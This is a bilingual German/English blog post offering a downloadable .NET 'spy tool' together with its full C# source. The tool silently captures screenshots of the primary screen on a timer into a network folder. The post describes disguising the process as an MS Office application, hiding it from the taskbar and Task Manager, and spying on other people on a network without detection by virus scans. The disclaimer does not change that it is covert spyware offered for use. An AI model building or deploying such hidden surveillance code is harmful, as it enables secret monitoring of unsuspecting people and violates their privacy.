.NET: Spionagetool / Tool was periodisch Screenshots erzeugt / Screenshot tool / Spy Tool

Terms of use – Nutzungbedingungen

Do not use this for illegal purposes. This is a free tool to demonstrate how you can spy third persons or just generate screenshots in a folder (maybe a netdrive).

Dieses Tool darf nicht für illegale Zwecke genutzt werden und dient lediglich der Demonstration von Prozessen, die komplett versteckt im Hintergrund und unentdeckt Spionageaktivitäten ermöglichen.

Warranty – Garantie

I promise that this file is absolutely virus free and will not damage anything or give data to third persons!
Ich verspreche dass dieses Tool absolut virusfrei ist und keinen Schaden am Rechner anrichtet, geschweige denn Daten an dritte Personen weitergibt.

Description – Beschreibung

A hidden tool shall generate periodic screenshots every minute (i.e on a net drive or the directory it has been started in) and be stopable remotely.
Ein unentdeckbares Tool generiert jede Minute periodisch Screenshots in dem Verzeichnis, in dem es gestartet wurde (z.B. auf einem Netzlaufwerk) und es auch zur Not gestoppt werden kann.

Approach – Ansatz

A hidden executed process is running in the background, which is not shown in the task bar and labeled as MS Office process in the Task Manager.
Ein versteckter Prozess gibt sich als Microsoft Office Anwendung aus und ist nicht im Taskmanager unter „Anwendungen“ auffindbar. Er wird nicht in der Taskbar angezeigt.

Prerequirements – Vorraussetzungen

  • .NET Framework
  • Someone can execute the process on a netdrive / Jemand muss die Exe am Netzlaufwerk vorher starten

Solution – Lösung

  • Download and unpack the following tool on a netdrive: ScreenshotTool
  • Double click the process (this will not damage s.th. on the computer!!!)
  • The tool is producing a screenshot every minute in the folder it has been started in.
  • To stop the tool, rename close_.txt to close.txt (otherwise a restart of the computer will stop the process and there is nothing pointing to it).

Fazit

On the screenshot you see the only hint to recognize the running tool. It is not shown in the Task Manager. Via Filesharing/Samba it is possible to spy other persons in a network without getting discovered by virus scans.

taskmanager

 

Code

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Drawing.Imaging;
using System.IO;

namespace screenshot
{
    public partial class Form1 : Form
    {
        // Die Dateien werden im Pfad erzeugt, wo die Exe gestartet wird
        public string outputPath = Application.StartupPath;

        public Form1()
        {
            InitializeComponent();

            // Das Fenster bekommt keinen Border Style
            this.FormBorderStyle = FormBorderStyle.None;

            // Das Fenster wird nicht in der Task Bar angezeigt
            this.ShowInTaskbar = false;
        }

        // Entfernt das Programm aus dem Taskmanager -> Anwendungen
        protected override CreateParams CreateParams
        {
            get
            {
                var cp = base.CreateParams;
                cp.ExStyle |= 0x80;  // Turn on WS_EX_TOOLWINDOW
                return cp;
            }
        }
         
        // Erzeuge einen Screenshot
        private void button1_Click(object sender, EventArgs e)
        {
            // Prüfe ob eine close.txt existiert
            if (File.Exists(@"" + outputPath + "\\close.txt"))
            {
                this.Close();
            }


            // this.Opacity = 0.0;  // Verstecken der Form vor dem Screencopy
 
            // Screencopy erstellen und in BildschirmBMP ablegen
            Screen   Bildschirm      = Screen.PrimaryScreen; // Hauptbildschirm
 
            using (Bitmap BildschirmBMP = new Bitmap(Bildschirm.Bounds.Width, // Ziel-Bitmap
                                          Bildschirm.Bounds.Height,
                                          PixelFormat.Format24bppRgb))
            {
                using (Graphics BildschirmGR = Graphics.FromImage(BildschirmBMP))
                {
                    // Graphics erzeugen
                    BildschirmGR.CopyFromScreen(Bildschirm.Bounds.X, 
                                                Bildschirm.Bounds.Y, // Abbild erstellen 
                                                0, 
                                                0,
                                                BildschirmBMP.Size);
                }

                // this.Opacity = 1.0;  // Wieder anzeigen der Form nach dem Screencopy

                // Screencopy speichern mit Datum ein Zeitstempel
                BildschirmBMP.Save(outputPath + @"\output_" + DateTime.Now.Year + 
                "-" + DateTime.Now.Month + "-" + DateTime.Now.Day + "__" + 
                DateTime.Now.Hour + "_" + DateTime.Now.Minute + "_" + 
                DateTime.Now.Second + ".png"); // Nur mal so zum speichern
            }

        }

        // Rufe jede Sekunde auf (Timer ist ein Toolbox Element)
        private void timer1_Tick(object sender, EventArgs e)
        {
            // Jede Sekunde ausführen
            button1_Click(null, null);
        }

        // Sobald das Programm gestartet ist, starte den Timer
        private void Form1_Load(object sender, EventArgs e)
        {
            // Beim Start einmal ausführen
            button1_Click(null, null);
            timer1.Start();
        }
    }
}

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Diese Website verwendet Akismet, um Spam zu reduzieren. Erfahre mehr darüber, wie deine Kommentardaten verarbeitet werden.